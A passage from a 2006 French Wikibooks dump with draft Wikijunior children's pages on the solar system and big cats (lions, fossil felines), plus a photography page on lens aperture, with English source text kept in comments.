bouger les choses, il faut les faire! ::2-Les modifications successives à un changement de nom risquent de devenir importantes si l'on attends trop longtemps... ::Si vous avez des réactions à cela, dites le. Sinon ajoutez vous suggestions à la liste ci-dessus. --[[Utilisateur:Boly38|Boly]] [[Discussion_Utilisateur:Boly38|♪]] 9 janvier 2006 à 00:17 (UTC) ==Voir aussi== ===Liens internes=== * [[Wikijunior/Tâches à faire]] ===Liens Externes=== * {{en}} [http://meta.wikimedia.org/wiki/Wikijunior Meta Wikipedia: Wikijunior], administration, coordination des pages. * {{en}} [http://en.wikibooks.org/wiki/Wikijunior Wikibooks: Wikijunior], développement. [[fi:Wikijunior]] [[en:Wikijunior]] [[de:Wikijunior]] [[es:Wikichicos]] [[zh:Wikijunior]] [[Catégorie:Wikijunior|*]] Wikijunior:Système solaire:le soleil 6420 28365 2006-01-07T09:07:13Z Boly38 136 [[Wikijunior:Système solaire:le soleil]] déplacé vers [[Wikijunior:Système solaire/Le soleil]]: Deux fois ':' j'ai jamais vu, par contre un '/' est amha préférable #REDIRECT [[Wikijunior:Système solaire/Le soleil]] Photographie - 08 - Ouverture d'un objectif 6421 44441 2006-06-12T14:31:21Z Jean-Jacques MILAN 114 {{Photographie}} {{Photo_08}} {{EnTravaux}} C'est une caractéristique physique d'un objectif correspondant au diamètre de son diaphragme lorsqu'il est totalement ouvert, elle est exprimée par un nombre qui représente l'inverse du rapport de l'ouvertue à la focale de l'objectif. Par exemple, un objectif ayant une focale de 50mm et une ouverture maximale de son diaphragme de 25mm aura donc une ouverture valant 2. notations communes : f2.8 ou f/2.8 ou f/1:2.8 Valeures caractéristiques entières : 1 - 1.4 - 2.0 - 2.8 - 4.0 - 5.6 - 8.0 - 11 - 16 - 22 - 32 - 45 - 64 - etc. - Chaque incrément de l'ouverture représente une diminution de la luminosité d'un facteur 2 et est communément appelé un diaphragme ou un stop. - Les valeurs caractéristiques sont en fait arrondies, les valeurs exactes peuvent être facilement retrouvées car elles sont en fait les multiples de la racine carrée de 2 - En photographie, la variation de l'ouverture permet d'infuencer 2 autres paramètres. La durée nécessaire d'exposition et la profondeur de champs. - Une optique présentant une grande ouverture maximale ( nombre petit, 135mm f/2 par exemple ) est aussi souvent appelée optique lumineuse ou optique rapide. Attention à bien faire la différence entre l'ouverture f et la transmission lumineuse t d'un objectif. La caractéristique t (plus communément utilisée en optique astronomique) exprime la luminosité fonction de l'ouverture mais en tenant compte des pertes provoquées par les différentes lentilles de l'optique. """"""""""""""""""""""""""""""""""""""" YAYAL, janvier 2006 Wikijunior:Système solaire/Les planètes 6428 43503 2006-05-30T22:29:08Z BigAlf 1587 autre phôte dans vaisseau {{Système solaire}}[[Image:Solar system scale.jpg|thumb|350px|right|9 planètes de différentes tailles entourent le soleil]] Autour du [[Wikijunior:Système solaire/Le soleil|soleil]] tournent des planètes, il y en a 9 : *[[Wikijunior:Système solaire/Mercure|Mercure]] *[[Wikijunior:Système solaire/Vénus|Vénus]] *[[Wikijunior:Système solaire/La Terre|La Terre]] *[[Wikijunior:Système solaire/Mars|Mars]] *[[Wikijunior:Système solaire/Jupiter|Jupiter]] *[[Wikijunior:Système solaire/Saturne|Saturne]] *[[Wikijunior:Système solaire/Neptune|Neptune]] *[[Wikijunior:Système solaire/Uranus|Uranus]] *[[Wikijunior:Système solaire/Pluton|Pluton]] Il y a deux types de planètes : *les planètes rocheuses : qui sont solides comme la Terre et plus petites que les planètes gazeuses. Ce sont les plus proches du Soleil. ** Mercure ** Vénus ** La Terre ** Mars ** Pluton * Les planètes gazeuses : qui sont des immenses boules de gaz et n'ont pas de surface solide. Elles sont beaucoup plus loin de nous. ** Jupiter ** Saturne ** Neptune ** Uranus Une petite astuce pour retenir le nom des planètes dans l'ordre : * Mon (Mercure) * vaisseau (Vénus) * te (Terre) * mènera (Mars) * jeudi (Jupiter) * sur (Saturne) * une (Uranus) * nouvelle (Neptune) * planète (Pluton) La phrase donne donc : Mon vaisseau te mènera jeudi sur une nouvelle planète [[catégorie:Wikijunior|Planètes, Les]][[catégorie:Wikijunior:Système solaire|Planètes, Les]] Wikijunior:Les félins 6429 28639 2006-01-10T17:53:02Z Boly38 136 +[[w:Fauve|Fauve]] | {| width="100%" border="0" cellspacing="0" cellpadding="5" | bgcolor="yellow" align="center" colspan="2" | <font size="+1">Les félins<br/>&#160;</font>''un livre du projet [[Wikijunior]] appartenant à la série "Le monde naturel"''. |- | bgcolor="lightyellow" valign="top" width="300" | [[Image:Eberswalde zoo 014.jpg|300px|center|''Les félins'']] || rowspan="2" | {{:Wikijunior:Les félins/Sommaire}} |- | bgcolor="lightyellow" valign="top" | * '''Informations : ''' ** [[Discuter:Wikijunior:Les félins|Laisser un message]] ** [[Discuter:Wikijunior:Les félins|Doit-on changer le titre du livre ?]] ** [[w:Fauve|Fauve]] | {{en}} [http://upload.wikimedia.org/wikibooks/en/c/cc/Big_Cats.pdf Big_Cats.pdf] <small>(11/12/05, 65p.)</small> * '''À faire''' : ** relire (traductions à vérifier) ** corriger / améliorer ** compléter ** illustrer *** Felidae <small>(gros chats)</small> [[commons:Category:Felidae|cat. commons]] *** Felinae <small>(petits chats)</small> [[commons:Category:Felinae|cat. commons]] |} __NOEDITSECTION__ [[Catégorie:Wikijunior:Les félins|*]] [[en:Wikijunior Big Cats]] [[es:Wikichicos Grandes Felinos]] [[de:Wikijunior Großkatzen]] [[it:Wikijunior Grandi felini]] [[zh:Wikijunior 大猫]] <!-- style="padding-left:0px;padding-top:0px;padding-right:0px;padding-bottom:0px;" --> Catégorie:Wikijunior:Les félins 6430 28458 2006-01-08T20:44:22Z Boly38 136 création ''Liste des articles concernant le livre ''[[Wikijunior:Les félins|Les félins]]''. [[Catégorie:Wikijunior|Les félins]] Wikijunior:Les félins/Sommaire 6431 43247 2006-05-26T14:47:15Z Boly38 136 /* Sommaire */ lynx +simple ==Sommaire== {{ÉtatDesWikilivres}} * [[Wikijunior:Les félins/Introduction|Introduction]] {{100}} * [[Wikijunior:Les félins/Les félins|Les félins]] {{75}} * [[Wikijunior:Les félins/Historique (les fossiles)|Historique (les fossiles)]] {{75}} * [[Wikijunior:Les félins/Les lions|Les lions]] {{75}} * [[Wikijunior:Les félins/Les tigres|Les tigres]] {{75}} * [[Wikijunior:Les félins/Les pumas|Les pumas]] {{75}} * [[Wikijunior:Les félins/Les guépards|Les guépards]] {{75}} * [[Wikijunior:Les félins/Les lynx|Les lynx]] (''[[w:Lynx (mammifère)|Lynx canadensis]]'' & ''[[w:Lynx roux|Lynx rufus]]'') {{00}} * [[Wikijunior:Les félins/Le caracal|Le caracal]] {{00}} * [[Wikijunior:Les félins/Le serval|Le serval]] {{00}} * [[Wikijunior:Les félins/Le jaguard|Le jaguard]] {{00}} * [[Wikijunior:Les félins/L'ocelot|L'ocelot]] {{00}} * [[Wikijunior:Les félins/Le léopard|Le léopard]] {{00}} * [[Wikijunior:Les félins/Le léopard blanc|Le léopard des neiges]] (''once'' ou [[w:Léopard des neiges|Uncia uncia]])<!-- * [[Wikijunior:Les félins/Le léopard tâché|Le léopard tâché]] (clouded ?) (différence entre marbled et clouded ?) --> {{00}} * [[Wikijunior:Les félins/Le léopard tâcheté|Le léopard tâcheté]] ([[w:Panthère longibande|Neofelis nebulosa]]) {{00}} * [[Wikijunior:Les félins/Les tigons et liguers|Les tigons et liguers]] ([[w:en:tigon|tigons]] et [[w:liger|ligers]] ) {{00}} * [[Wikijunior:Les félins/Extinction d'espèces|Extinction d'espèces]] {{00}} * [[Wikijunior:Les félins/Préserver les fauves|Préserver les fauves]] {{00}} * [[Wikijunior:Les félins/Glossaire|Glossaire]] {{25}} * ([[w:fr:GFDL|GFDL]]) {| width="100%" | align="right"|<small>[[Wikijunior:Les félins/Sommaire|Sommaire]]</small> |} [[Catégorie:Wikijunior:Les félins|Sommaire]] Wikijunior:Les félins/Introduction 6432 29187 2006-01-17T18:14:14Z Boly38 136 /* Aux parents */ ''Wikilivres'' (''Wikibooks'') (you're right man ;o) {{Les félins}} ==Introduction== ===Aux parents=== La série de livres [[Wikijunior]] présente le livre ''[[Wikijunior:Les félins|Les félins]]'' : un livre pour enfants, gratuit, réalisé par la communauté [[Wikilivres]]<!-- Wikibooks? -->. ''Les félins'' font partie des grands trésors de notre planète, et leurs histoires éveillent l'imagination des enfants de tous âges. Beaucoup de ces seigneurs de la brousse sont en danger, et les enfants qui prendront nos responsabilités doivent apprendre à admirer et à aimer notre monde...leur monde. Nous apprécions plus facilement ce que nous sommes en mesure de comprendre, et nous sauvegardons ce que nous apprécions. L'importance de la tâche a demandé aux auteurs, sur le Wiki, beaucoup de leur temps et de leur talent pour rendre disponible ce volume. [[Image:Wikilivres logoA.png|100px|left|Wikilivres (''Wikibooks'' en anglais)]] ''Wikilivres'' (''Wikibooks'') est un projet de la fondation Wikimedia. L'objectif de cette fondation est de fournir des écrits de qualité à destination des adultes et des enfants. Ces écrits sont mis à disposition gratuitement et resteront toujours gratuits. Les projets Wiki sont destinés à promouvoir l'augmentation globale des connaissances. Nous souscrivons au principe de générosité selon [[w:Gandhi|Gandhi]] : « ''Imaginez tout le bien que l'on pourrait faire si personne n'en revendiquait le mérite.'' » <!-- pour le § suivant je (Boly38) n'ai pas repris le texte initial que je n'ai pas su traduire, mais j'ai, je pense, repris l'idée maîtresse --> Wikilivres encourage la découverte du monde à l'aide d'Internet. De nombreuses maisons de publication se basent en trop grande partie sur des éditions et auteurs connus et reconnus (exemple : Mark Twain's avec "Tom Sawyer"). Les autres titres sont en majeure partie des nouveaux livres écrits par des auteurs. Les nouveaux auteurs ont du mal à acquérir une réputation, mis à part les célébrités déjà reconnues dans d'autres domaines que l'écriture. Les chances de publications réellement novatrices et de qualité sont minces, tant le modèle économique actuel est rude pour ces nouveaux auteurs inconnus du grand public. Avec ce projet, nous bâtissons un pont entre le livre d'hier, et l'encyclopédie universelle de demain. Simplement en lisant ce livre (et peut-être en en parlant à votre entourage) vous faites avancer ''l'édition libre'' -le contenu libre, et le contenu gratuit-, le libre accès pour tous à la connaissance, les publications innovantes, et Wikilivres. Merci et bonne lecture. [[Catégorie:Wikijunior:Les félins|Introduction]] [[en:Wikijunior Big Cats/Foreword]] Wikijunior:Les félins/Les félins 6433 33546 2006-02-19T20:41:51Z Boly38 136 +en {{Les félins}} ==Les félins== [[Image:La Palmyre 015.jpg|400px|left|Un lion, le ''Panthera leo'']]En Afrique, on dit qu'un lion mâle rugit comme ceci : "Ha inchi na yanni ? Yangu, yangu, yangu!" (Quel territoire est-ce ? le mien, le mien, le mien !). Il est difficile d'écouter cet ancien défi sans se rapprocher un peu du feu de camp [Expression à expliciter]. Mais que se cache donc derrière cet appel étrange ? Certainement, dans une certaine mesure, les félins sont des félins partout dans le monde. Vous regardez un chat du voisinage traquer un écureuil et vous voyez en miniature un tigre traquer le cerf sur les prairies de Rhanthambore. Et cependant, en partie parce qu'ils sont si majestueux, ces grands félins sont différents du chat du voisin. Dans un sens, ils sont les princes de leur royaume et voyagent confiants alors que les petits animaux filent et se cachent. Pendant des années, tout ce qu'ils avaient à craindre étaient leurs semblables, mais l'invention de la poudre menaça de détruire leur royaume (et domaine), et d'envoyer ses seigneurs félins vers leur extinction. Heureusement, il y a de plus en plus de gens comme vous qui voient plus les grands fauves comme des amis à admirer que comme des ennemis à détruire. Apprenons-en plus sur ces grands félins et leur monde remarquable. Après tous, nous apprécions ce que nous comprenons et sauvegardons ce que nous apprécions. <!-- In Africa, they say that a male lion roars Ha inchi na yanni? Yangu, yangu, yangu! (Whose land is this? It is mine, mine, mine!). It is hard to listen to this ancient challenge without edging a little closer to the campfire. But what is behind that remarkable call? Certainly, to some degree, cats are cats around the world. You look at one of the neighborhood tabbies stalking a squirrel and you can see in miniature a tiger stalking deer on the meadows of Rhanthambore. And yet partly because they are so majestic these big cats are different from the neighbor's feline. For one thing they are the lords of their kingdom and travel confidence where small creatures scurry and hide. For many years, all they had to fear was each other, but the invention of An African lioness surveys her gunpowder threatened to destroy this kingdom and domain send its feline lords to extinction. Fortunately there are more people like you that see big cats more as a companion to be admired rather than an enemy to be destroyed. Learn more about these great cats and their remarkable world. After all, we appreciate what we understand, and save what we appreciate. --> ===Les grands prédateurs=== Dans la nature, les félins font partie des plus grand prédateurs. Les ours grizzlys peuvent avoir un léger avantage en taille par rapport à un tigre de Sibérie, mais le tigre est, de loin, plus agile et plus rapide. Un loup a peut-être un meilleur odorat qu'un jaguar, mais le jaguar peut attraper une grosse proie seul. Les félins ont une vision nocture (de nuit)<!-- nocturne trop compliqué comme terme ? --> excellente, l'ouïe fine (ils entendent très bien, et loin), et une énorme force physique. Leur agilité à se déplacer sans se faire remarquer, et leurs couleurs, qui leur permettent de se camoufler (de se cacher), les aident pour surprendre leur proie. ===Se nourrir=== [[Image:Jaguarcub.jpg|left|150px|Un jaguar (''Panthera onca'') et son petit]]Pour se nourrir, les félins chassent car ils on besoin de viande pour survivre. Les animaux qui mangent de l'herbe et des feuilles ont un estomac spécial qui, grâce à des bactéries, transforme les sucres complexes présents dans les plantes en sucres simples que les animaux peuvent digérer (! traduction + fond à vérifier !). Les félins ont un tube digestif très court qui décompose rapidement la viande et en extrait l'énergie et les "matériaux de construction" (! à vérifier + simplifier constituants ?). Les félins ne peuvent pas survivre en ne mangeant que de l'herbe. <!-- On the Menu Cats hunt because they need to survive. Animals that eat grass and leaves have special stomachs that allow bacteria time to break down complex plant sugars into the simpler sugars animals can digest. Cats have a very short digestive tract that quickly breaks down and extracts its energy and building materials. Cats cannot survive on a !! of grass. --> [[Catégorie:Wikijunior:Les félins|Les félins]] [[en:Wikijunior Big Cats/Meet The Cats]] Wikijunior:Les félins/Historique (les fossiles) 6434 40066 2006-04-12T23:15:39Z 80.8.240.69 /* Les fossiles de félins les plus connus */ {{Les félins}} ==Historique (les fossiles)== ===Les carnivores=== Prédateurs et carnivores sont liés les uns aux autres. Ils sont les descendants du viel ancêtre '''''Miacis''''', un petit <!--animaux comme une belette qui a mangé la viande et qui était--> -(eating weasel)- capable de grimper aux arbres, lequel vécu du début à la fin de la '''période Eocene''' dans l'Amérique du Nord, et vers la fin de la période Eocene en Europe et en Asie. La période Eocene était une époque qui a débuté il y a 58 millions d'années et qui s'est terminée il y a 36 millions d'années. Il eut une plus grande capacité intellectuelle que les autres carnivores de l'époque, c'est vraisemblablement pourquoi c'est aujourd'hui le père des carnivores modernes. <!-- How carnivores are related All living meat-eaters, or carnivores, are related to each other. They are descended from an ancient ancestor Miacis, a small meat-eating weasel-like tree climber which lived during the early to late Eocene period in North America, and the late Eocene period of Europe and Asia. (The Eocene was a time that began 58 million years ago and ended 36 million years ago.) It had a larger brain capacity than other carnivores of its day, which was probably why it is the father of all modern carnivores. --> ===Proailurus, l'ancêtre commun de la familler des Felidae=== [[Image:Servalkitten.jpg|thumb|150px|left|Un bébé ''[[w:Serval|Serval]]'']]L'[[w:Carnivora|Ordre Carnivora]] (mammifères qui sont carnivores) est divisé en plusieurs groupes d'animaux prôches qui sont apellés '''''Famille'''''. (Big cats==Les félins?) Les félins font partie de la famille des félidés ([[w:Felidae|Felidae]]). <!-- Proailurus, common ancestor of the Family Felidae. Order Carnivora (mammals that are carnivores) are divided into several groups of closely related animals that are called families. Big cats are obviously in the cat family (Family Felidae). --> ===Quel âge a la famille Felidae ?=== Les plus récents fossiles enregistrés pour la famille Felidae datent de la fin de la période Eocene, il y a 34 millions d'années. Si l'on prennait une seconde pour évoquer chaque année, soit le temps de dire "mille un", alors l'âge de la famille des félins représenterait environ une année et 5 semaines. En comparaison, les grande pyramides de Gize demenderaient 83 minutes, et Internet moins de 13 secondes (pour 2006). Le premier félin connu était l'Aelurogale. Ses descendants, Proailurus, culminent au sommet de la branche principale de la famille des félins que nous connaissons aujourd'hui, tout comme les deux genres de chat à dents de sabre. Proailurus vécu en Europe il y a 20 à 30 millions d'années. <!-- How old is Family Felidae? The fossil record of Family Felidae extends to the Late Eocene, 34 million years ago. If each of those years lasted a second, about the time it takes you to say "A thousand and one", the Cat Family would have been around for roughly one year and five weeks. By comparison, the Great Pyramid at Giza would have been around for only 83 minutes, and the Internet for less than 12 seconds (as of 2005). The first known feline was Aelurogale. Its descendent, Proailurus, gave rise to the major branches of the cat family we see today as well as the two sabre-toothed cat lines. Proailurus lived in Europe from 30-20 million years ago. Page 4 --> ===Informations sur les noms scientifiques=== [[Image:La Palmyre 039.jpg|thumb|left|Photographie d'un guépard]]<!-- Ancienne descr. : Photographie d'un des guépards du [[Zoo de La Palmyre]]. -->Aujourd'hui, l'anglais est la langue la plus utilisée pour tout ce qui concerne les sciences. Vers la fin du XVIIIe siècle, le latin, la langue parlée dans la Rome Antique, était la langue utilisée par les scientifiques des différents pays pour décrire leur travail. Même pour une seule langue comme le français, le même animal peut avoir plusieurs noms. Les termes "pumas", "cougars" et "lions sauvage" (mountain lions? => != lion des montagnes ? :)) désignent tous le même animal. Les animaux ont également d'autres noms dans les autres langues, telles que le russe, le grec, l'anglais. Pour éviter les confusions, tous les scientifiques du monde se sont mis d'accord sur un nom par animal, un nom provenant du latin. Les ancients animaux connus uniquement à l'aide des fossiles retrouvés n'ont pas de noms dans les langues d'aujourd'hui ; ils ont seulement un nom latin. Plus récemment, les humains ont réalisé des dessins de mammouth, de mastodons, et de lions des cavernes d'Europe, mais le noms de ces animaux.. <!--mais leur noms pour ces animaux sont inconnus?-->(mastodons, and European cave lions, but their names for these animals 'vanished' long ago.?) C'est pourquoi de nombreux fossiles de félins ont un nom scientifique maladroit, tel que '''''Miraconyx inexpectatus''''', c'est à dire ni court ni élégant comme '''''guépard'''''. <!-- Note about scientific names Today, English is most widespread language of science. In the late 1700s Latin, the language spoken in Ancient Rome, was the language used by scientists from different countries to about their work. Even in one language like English the same animal might have many different names. Pumas, cougars and mountain lions are all the same animal. Animals also have names in other languages like Russian, Greek and French. To cut down on confusion, all scientists in the world agreed on one scientific name for each animal that came from Latin. Ancient animals that are known only from fossils never had common names. Actually, some early humans drew pictures of mammoths, mastodons, and European cave lions, but their names for these animals vanished long ago. That's why many fossil big cats have an odd scientific name like Miraconyx inexpectatus but no short, graceful name like Cheetah. --> ===Les fossiles de félins les plus connus=== [[Image:Smilodon.jpg|300px|thumb|left|Le Simodon avec des dents comparables à des sabres...]][[Image:Smilodon fosil Museo de La Plata.jpg|150px|right|Fossile d'un Smilodon]] * Le '''Smilodon''' -''Smilodon fatalis'' et autres-, aussi appelé '''[[w:Tigre à dents de sabre|tigre à dent de sabre]]''' était un animal de la famille des [[w:Felidae|félidés]] qui vivait en Amérique entre 2,5 millions d'années et 10 milliers d'années. Il mesurait jusqu'à trois mètres de long et était agile mais rapide sur de courtes distances. Son fossile fait partie des fossiles les plus reconnus. Un Smilodon a l'âge adulte pesait environ '''203 kg''' (450 pounds) et avait '''des crocs de 17 cm''' (7 pouces) qui furent utilisés pour des peintures antiques (dans des cavernes de France) représentant des grands lions. Le Lion d'Amérique - Panthera atrox - vécu il y a entre 10 mille et 25 mille ans en Amérique du Nord. Pendant son règne, ce félin était plus gros, d'1/4 environ, que le lion d'Afrique, voire plus gros que le tigre de Sibérie. Un mâle moyen de 3,50 mètres (11.5 ?) de long pèsera en moyenne 235 kg (520 pounds). Les femelles étaient plus petites, pesant en moyenne 175 kg (385 pounds).<!-- Smilodon - Smilodon fatalis and others - Often called the "Sabre-toothed Tiger" though it is not a tiger, and "Sabre-toothed Cat" though it was not the only line of cats sabre teeth. The most widely recognized of the fossil cats, it lived in North and South America from 3 million to 10,000 years ago. A fully grown Smilodon weighed about 450 pounds (203 kg) and had fangs 7 inches (17 cm) long that were used to Ancient painting showing cave subdue its large prey. lions in France The American Lion - Panthera atrox - It lived from 25,000 years ago to 10,000 years ago in North America. In life, this cat was about 1/4 larger than the African lion, even bigger than the Siberian tiger. The average male at 11.5 (3.5 m) in length would have averaged about 520 pounds (235 kg). Females were smaller, averaging about 385 pounds (175 kg). --> * Le lion d'Amérique - ''Panthera atrox'' - vécu il y a entre 10 mille et 25 mille ans en Amérique du Nord. Pendant son règne, ce félin était plus gros, d'1/4 environ, que le lion d'Afrique, voire plus gros que le tigre de Sibérie. Un mâle moyen de 3,50 mètres (11.5 ?) de long pèsera en moyenne 235 kg (520 pounds). Les femelles étaient plus petites, pesant en moyenne 175 kg (385 pounds). Les études sur les fossiles ont montré qu'il avait le cerveau le plus développé de tous les chats. <!-- * Smilodon - Smilodon fatalis and others - Often called the "Sabre-toothed Tiger" though it is not a tiger, and "Sabre-toothed Cat" though it was not the only line of cats sabre teeth. The most widely recognized of the fossil cats, it lived in North and South America from 3 million to 10,000 years ago. A fully grown Smilodon weighed about 450 pounds (203 kg) and had fangs 7 inches (17 cm) long that were used to Ancient painting showing cave subdue its large prey. lions in France. * The American Lion - Panthera atrox - It lived from 25,000 years ago to 10,000 years ago in North America. In life, this cat was about 1/4 larger than the African lion, even bigger than the Siberian tiger. The average male at 11.5 (3.5 m) in length would have averaged about 520 pounds (235 kg). Females were smaller, averaging about 385 pounds (175 kg). Fossil evidence indicates it had the most highly developed brain of any known cat. --> * Le lion des cavernes d'Eurasie - ''Panthera spelaea'' - vécu il y a entre 10 000 et 30 000 ans depuis l'Angleterre jusqu'à la Sibérie. C'était le plus gros chat qui a jamais vécu, il était 25% plus gros que le lion d'Afrique et même plus gros que celui de Sibérie. Les peintures de l'antitiqué et (le carving) ont montrés que ce chat (hadfaint stripes, a hint of a mane in some males, tufted tails, and protruding ears.) * Miracinonyx - ''Miracinonyx trunami'' et autres -, parfois aussi appelé "le guépar américain", est comme un guépard et utilise la même technique pour courrir après ses proies. On peut penser qu'il a le même ancêtre que le pumas. Miracinonyx vécu il y a entre 10 000 et 3 millons d'années dans les prairies et les plaines d'Amérique du Nord où il se spécialisa dans la chasse des (newly-evolved?) herbivores tels que les Pronghorn. <!-- * The Eurasian Cave Lion - Panthera spelaea - It lived from 30,000 years ago to 10,000 years ago from as far as England to as far as Siberia. The largest cat that ever lived, it was 25% larger than the African lion and even bigger than the American Lion. Ancient cave paintings and carvings indicate this cat hadfaint stripes, a hint of a mane in some males, tufted tails, and protruding ears. * Miracinonyx - Miracinonyx trumani and others - Sometimes referred to as the "American Cheetah," it is remarkably cheetah like and relied upon the same sprinting tactic to overtake its prey. It is thought to have a common ancestor the Puma. Miracinonyx lived from 3 million to 10,000 years ago in the prairies and open plains of North America where it specialized in hunting newly-evolved swift herbivores such as the Pronghorn. --> ==Les félins et l'Homme dans l'histoire== Pendant des années, les chats domestiqués furent considérés comme une espèce différente de tous les autres chats (''Felis catus''). Il est aujourd'hui prouvé que ceux-ci forment une sous-espèce (légère variation) des chats sauvages (Felis sylvestris), ainsi ils ont pris le nom ''Felis syvestris catus''. L'archéologie a montré une relation entre l'Homme et le chat ses 8,000 dernières années. La relation la plus atypique fut celle des égyptiens qui considéraient les chats comme les représentants de la volonté divine (the goddess Bast?). (When a cat died, family members showed grief by shaving off their eyebrows, and cats were routinely mummified and laid to great reverence. => Lorsqu'un chat est mort, les membres de la famille rendaient honneur en se rasant leurs sourcils, et les chats étaient souvent mommifiés et inspiraient un profond respect.) D'autres chats ont comptés durant des années pour diverses raisons, mais les relations n'ont jamais duré assez longtemps pour permettre une véritable domestication. Le terme accepté pour les fauves, tels que les lions ou les guépards, qui toléraient une présence humaine était "''sociable avec l'Homme''". Cela indique que ces animaux possédaient encore en grande partie leurs instincts sauvages, ce qui faisait de leur domptage (apprivoisement?) une véritable épreuve. Il existe des peintures et des sculptures de lois anciennes où des fauves sont assis près du trône. Nombreux des gens tinissaient les guèpards pour chasser la proie rapide. (Many people kept cheetahs for hunting swift prey). <!-- ==Cats and humans in history== For many years the domestic cat was described as a separate species from all other cats, Felis catus. It is now thought to be a subspecies (slight variation) of the Wildcat (Felis sylvestris) and is given the name Felis sylvestris catus. Archeological evidence shows a relationship between man and cat for the past 8,000 years. The most unusual relationship existed among the Ancient Egyptians who considered cats as children of the goddess Bast. When a cat , family members showed grief by shaving off their eyebrows, and cats were routinely mummified and laid to great reverence. Certain other cats have been (manque un mot ??) over the years for different reasons, but these relationships have never been maintained long enough to result in true domestication. The proper term for cats such as lions or cheetahs that accept human companionship is "human socialized". This indicates that these animals still possess their entire range of wild instincts, which makes properly and safely handling them more of a challenge. There are paintings and engravings of ancient rulers (manque 'where' ?) big cats seated near their throne. Many people cheetahs (manque un mot ?) for hunting swift prey. --> Certaines espèces de fossiles tels que le Smilodon, le lion des cavernes, et le lion d'Amérique étaient chassés par les premiers humains, ce qui a probablement contribué à leur extinction. En espérent que plus aucun chercheur du futur ne nous considère comme responsable de la disparition de davantage de ces anmiaux merveilleux (à reformuler). <!-- Certain fossil species such as Smilodon, the Cave Ancient Egyptian statue of a cat Lion and the American Lion were hunted by early humans, who may have contributed to their extinction. Hopefully no future scholars will find us responsible for the disappearance of more splendid animals. Page 6 --> [[Catégorie:Wikijunior:Les félins|Historique (les fossiles)]] [[en:Wikijunior Big Cats/Fossil History]] Wikijunior:Les félins/Les lions 6435 43358 2006-05-28T23:02:57Z 200.163.13.175 /* Où vivent-ils ? */ carte svg disponible {{Les félins}}<!-- Attention : Les "Clr" servent à distinguer les paragraphes par rapport aux illustrations --> ==Les lions== Le lion majestueux est la personnification de l'Afrique sauvage. Ils sont grands, hardis et d'une beauté rude, féroces à la chasse, mais savent être tendres avec leur petit et loyaux avec leur compagnons. Tu ne devrais pas avoir envie de les approcher de trop près, car les lions sont un des quatres types de fauves qui peuvent émettre un rugissement assourdissant ! <!-- ==Lions== The majestic lion is the embodiment of wild Africa. They are large, bold and ruggedly beautiful, fierce on the hunt, and still tender to their young and loyal to their companions. You wouldn't want to get too close, though, as lions are one of the four kinds of cats that can deliver an ear-shattering roar! --> ===Où vivent-ils ?=== [[Image:Lion_distribution.svg|thumb|left|En vert sont représentés les lieux de vie des lions]] Malgré leur surnom de "Roi de la jungle", la plupart des lions vivent dans les savanes plates et herbeuses des pays africains suivants : Kenya, Afrique du Sud, Tanzanie, Zambie, et Zimbabwe. Il en reste un peu dans la forêt de ''Gir'' en Inde. Il y a longtemps, les lions vivaient à peu près partout dans le monde. Ils ont même vécu en Afrique du Nord, et en divers endroits d'Europe. {{Clr}} <!-- ===Where do lions live ?=== The nickname "King of the Jungle", most lions live on the flat, grassy savannas in the African countries of Kenya, South Africa, Tanzania, Zambia, and Zimbabwe. A few do remain in the Gir Forest of India. A long time ago, lions lived nearly all around the world. They even lived in North Africa and parts of Europe. --> ===A quoi ressemblent-ils ?=== [[Image:Female lion.jpg|thumb|left|Une lionne]] Les lions ont une fourrure fauve (couleur sable). Ils atteignent 3m de long et 1,2 mètres de haut. Les lions mâle sont plus gros que les lionnes (femelles), pesant autant que 5 hommes, soit 250 kg. La lionne plus svelte pèse habituellement autant que 3 hommes 1/2, soit 180 kg. Les mâles adultes peuvent être reconnus grâce à leur crinière fourrée autour de leur tête, qui descend sur leur cou. Pour certains lions, la crinière descent même le long du ventre. Il n'y a pas d'autres fauves pour lesquelles la différence est aussi spectaculaire entre les mâles et les femelles. Les mâles et les femelles ont tous deux des touffes de poil au bout de la queue, ce que n'ont pas les autres fauves. Si vous pouviez vous approcher de la queue d'un lion mâle, vous sentiriez un os pointu caché sous la touffe. Une ancienne légende raconte que les lions utilisaient l'éperon de leur queue pour se fouetter eux-mêmes avec frénésie avant de combattre. {{Clr}} <!-- ===What do lions look like?=== Places where lions live are colored green. Lions have tawny (sand-colored) fur. They grow to a length of about 10 (3 m) and stand about 4 (1.2 m) tall. Male lions are larger than the lionesses (females), weighing as much as five men or about 550 lb (250 kg). The more slender lioness usually weighs about as much as three and a half men or 400 lb (180 kg). Adult males can also be recognized by the furry mane around their heads and down their necks. For some lions the mane even runs along the belly. There is no other big cat such a dramatic difference in appearance between males and females. Both lions and lionesses have tufts on the end of their tails, something no other cat has. If you can ever get close enough to the tail of a male lion, you will feel a A lioness sharp bone tucked into the tail tuft. One old legend claims that lions would use the tail spur to whip themselves into a frenzy before fighting. Page 7 --> ===Que mangent les lions et comment attrapent-ils leur proie ?=== Les lions mangent les zèbres, les gazelles, les gnous, et d'autres grosses proies qui peuvent être facilement partagées avec des amis. En travaillant ensemble au sein d'un groupe de chasse, ils peuvent même chasser des animaux encore plus gros comme les girafes, ou les éléphants. Quand la nourriture se fait rare, les lions nettoient quelquefois les animaux tués par d'autres prédateurs. [[Image:Lion with buffalo cropped.jpg|thumb|left|Une lionne avec un buffle]] Habituellement, les femelles se regroupent pour chasser. Le rôle des mâles est de protéger la troupe contre les ambitions des lions étrangers. (Il n'est pas paresseux, du moins selon les règles de la société des lions.) Sa crinière et son gros volume font de lui plus un défenseur qu'un chasseur. En certaines occasions, les lions chargent des proies pour les éloigner des groupes de femelles cachées. Mais peu importe lequel tue la proie ne premier, c'est toujours le mâle qui commence à manger, suivi par les femelles, et enfin les plus jeunes. {{Clr}} ===Comment les lions éduquent-ils leurs petits ?=== [[Image:African Lion with Cubs.jpg|thumb|right|une lionne suivie par ses petits]] [[Image:Leoni-cuccioli.jpg|thumb|left|Deux jeunes lions (qui ont toujours leurs taches)]] Les lions peuvent avoir des tanières capables de contenir de un à quatre petits d'un an environ. Les petits des lions naissent avec une fourrure tachetée, qui les protège et les aide à se cacher dans l'herbe lorsque leur mère chasse. Les taches disparaissent rapidement, même si certains lions ont probablement toujours quelques taches sur leur pattes. Les petits grandissent dans des troupes qui sont des groupes familiaux comprenant les lionnes, leurs petits, et un mâle inconnu [??] qui dirige les petits. Les lions sont les seuls fauves pour lesquels le mâle et la femelle vivent ensemble tout au long de l'année. Une troupe connaît souvent la naissance de plusieurs portées de lionceaux en peu de temps. Alors, les mères partagent les soins aux jeunes, renforçant ainsi les liens qui assurent la cohérence de la troupe. Les jeunes 